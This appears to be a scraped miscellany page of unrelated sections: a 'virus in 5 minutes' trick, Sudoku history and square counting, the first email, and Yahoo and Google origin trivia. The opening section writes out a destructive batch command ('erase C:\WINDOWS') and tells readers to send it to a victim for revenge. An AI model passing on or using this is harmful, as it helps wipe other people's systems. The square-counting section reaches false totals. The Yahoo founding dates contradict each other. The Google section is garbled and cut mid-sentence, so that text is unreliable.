VIRUS IN 5 MINUTES

To test it, create a textfile called TEST.txt(empty) in C:\Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone.

• Now, the real work begins:
  Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus.
  Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
  Simple explanation:
  Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...
  HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

suduko history and no.of squares

The modern suduko was invented by an American architect, Howard Garns, in 1979 and published by Dell Magazines under the name "Number Place".[2] It became popular in Japan in 1986, after it was published by Nikoli and given the name Sudoku, meaning single number. [3] It became an international hit in 2005
The name Sudoku means "Sūji wa dokushin ni kagiru", meaning "the numbers must be single.The difficulty of a puzzle is based on the relevance and the positioning of the given numbers rather than their quantityTypically, however, the titles are synonyms of "easy", "intermediate", and "hard". (Extremely difficult puzzles are known as "diabolical" or "evil").Competitions - The first world championship was held in Lucca, Italy from 10 to 12 March 2006.[24] The competition included numerous variants.[25] - The second world championship was held in Prague from March 28 to April 1, 2007. [26] - Hosted by renowned puzzle master Will Shortz, The Philadelphia Inquirer Sudoku National Championship was the first U.S. Sudoku Championship. The winner received $10,000 and a spot on the U.S. National Sudoku Team, which will compete in the 2008 World Sudoku Championship in India.

no.of squares in sudukoo

1. First, there are 81 individual squares.Second, there are a number of squares made up of 4 (2x2) of the smallest squares.
2. To avoid counting a square twice but to count all overlapping squares, I adopted the following recursive approach:
3. There are 4x7 = 28 unique squares with a side along the outside of the 9x9 square and an 8x8 square inside.
4. There are 4x6 = 24 unique squares with a side along the 8x8 and a 7x7 square inside.There are 4x5 = 20 unique squares with a side along the 7x7 and a 6x6 square inside.
5. There are 4x4 = 16 unique squares with a side along the 6x6 and a 5x5 square inside.There are 4x3 = 12 unique squares with a side along the 5x5 and a 4x4 square inside.
6. There are 4x2 = 8 unique squares with a side along the 4x4 and a 3x3 square inside.There are 4x1 = 4 unique squares with a side along the 3x3 and a 2x2 square inside.
7. There is 1 unique square in the centre.So there are in total 113 squares made up of 4 of the smallest squares.
8. Third, there are a number of sqaures made up of 9 (3x3) of the smallest squares:There are 4x6 = 24 unique squares with a side along the outside of the 9x9 square and an 8x8 square inside.
9. There are 4x5 = 20 unique squares with a side along the 8x8 and a 7x7 square inside.
10. There are 4x4 = 16 unique squares with a side along the 7x7 and a 6x6 square inside.
11. There are 4x3 = 12 unique squares with a side along the 6x6 and a 5x5 square inside.
12. There are 4x2 = 8 unique squares with a side along the 5x5 and a 4x4 square inside.
13. There are 4x1 = 4 unique squares with a side along the 4x4 and a 3x3 square inside.There is 1x1 square in the centre.
14. So there are in total 85 squares made up of 9 of the smallest squares.
15. Fourth, repeat the process for squares made up of 16(4x4), 25(5x5), 36(6x6), 49(7x7), 64(8x8) and finally 81(9x9) of the smallest sqaures.
16. The totals are;81 1x1 small squares113 2x285 3x361 4x441 5x525 6x613 7x75 8x81 9x9So the total number of squares is 425

FIRST EMAIL SENT

Much like the first telegraph or phone call, the first email marked an historic moment in the evolution of communication. Unfortunately, the message itself was less than earth shattering. The text of that first electronic missive consisted of "something like QWERTYUIOP."
Sent by computer engineer Ray Tomlinson in 1971, the email was simply a test message to himself. The email was sent from one computer to another computer sitting right beside it in Cambridge, Massachusetts, but it traveled via ARPANET, a network of computers that was the precursor to the Internet.
Working for Bolt Beranek and Newman (the company picked by the U.S. Defense Department to build ARPANET), Tomlinson had been fooling around with two programs called SNDMSG and READMAIL, which allowed users to leave messages for one another on the same machine. He applied the idea behind these programs to a third program called CYPNET, which allowed users to send and receive files between computers. The combined technology allowed people to send and receive files that could be appended between different machines. Despite his groundbreaking success with email, Tomlinson is better known for introducing the "@" sign as the locator in email addresses.

YAHOO
Yahoo full name is... "Yet Another Hierarchical Officious Oracle"In January 1994, Stanford graduate students Jerry Yang (楊致遠) and David Filo created a website named "Jerry's Guide to the World Wide Web". Jerry's Guide to the World Wide Web was a directory of other web sites, organized in a hierarchy, as opposed to a search-able index of pages.In April 1994, "Jerry's Guide to the World Wide Web" was renamed "Yahoo!". "Yet Another Hierarchical Officious Oracle" is a backronym for this name, but Filo and Yang insist they selected the name because they liked the word's general definition, as in Gulliver's Travels by Jonathan Swift: "rude, unsophisticated, uncouth."[1]By the end of 1994, Yahoo! had already received one million hits. Yang and Filo realized their website had massive business potential, and on 2 March 1995, Yahoo! was incorporated.[2] On 12 April 1996, Yahoo! had its initial public offering, raising $33.8 million dollars, by selling 2.6 million shares at $13 each."Yahoo" had already been trademarked for barbecue sauce, knives (by EBSCO Industries) and human propelled watercraft (by Old Town Canoe Co.). Therefore, in order to get the trademark, Yang and Filo added the exclamation mark to the name.[3] However, the exclamation mark is often incorrectly omitted when referring to Yahoo.Type Public (NASDAQ: YHOO)Founded Flag of United States, Santa Clara, California (March 2, 1998)Headquarters Sunnyvale, California, USAKey people Terry Semel, Chairman & CEO

GOOGLE
Larry Page and Sergey Brin's attempts to reverse engineer Berners-Lee's World Wide Web that led to Google. The needle that threads these efforts together is citation - the practice of pointing to other people's work in ordPage and Brin's breakthrough was to create an algorithm - dubbed PageRank after Page - that manages to take into account both the number of links into a particular site and the number of links into each of the linking sites. This mirrored the rough approach of academic citation-counting. It worked. In the example above, let's assume that only a few sites linked to the teenager's site. Let's further assume the sites that link to the teenager's are similarly bereft of links. By contrast, thousands of sites link to Intel, and those sites, on average, also have thousands of sites linking to them. PageRank would rank the teen's site as less important than Intel's –
at inspired the founders to name their new engine Google, after googol, the term for the numeral 1 followed by 100 zeroes.

They released the first version of Google on the Stanford Web site in August 1996 - one year after they met. least in reler to build up your own.
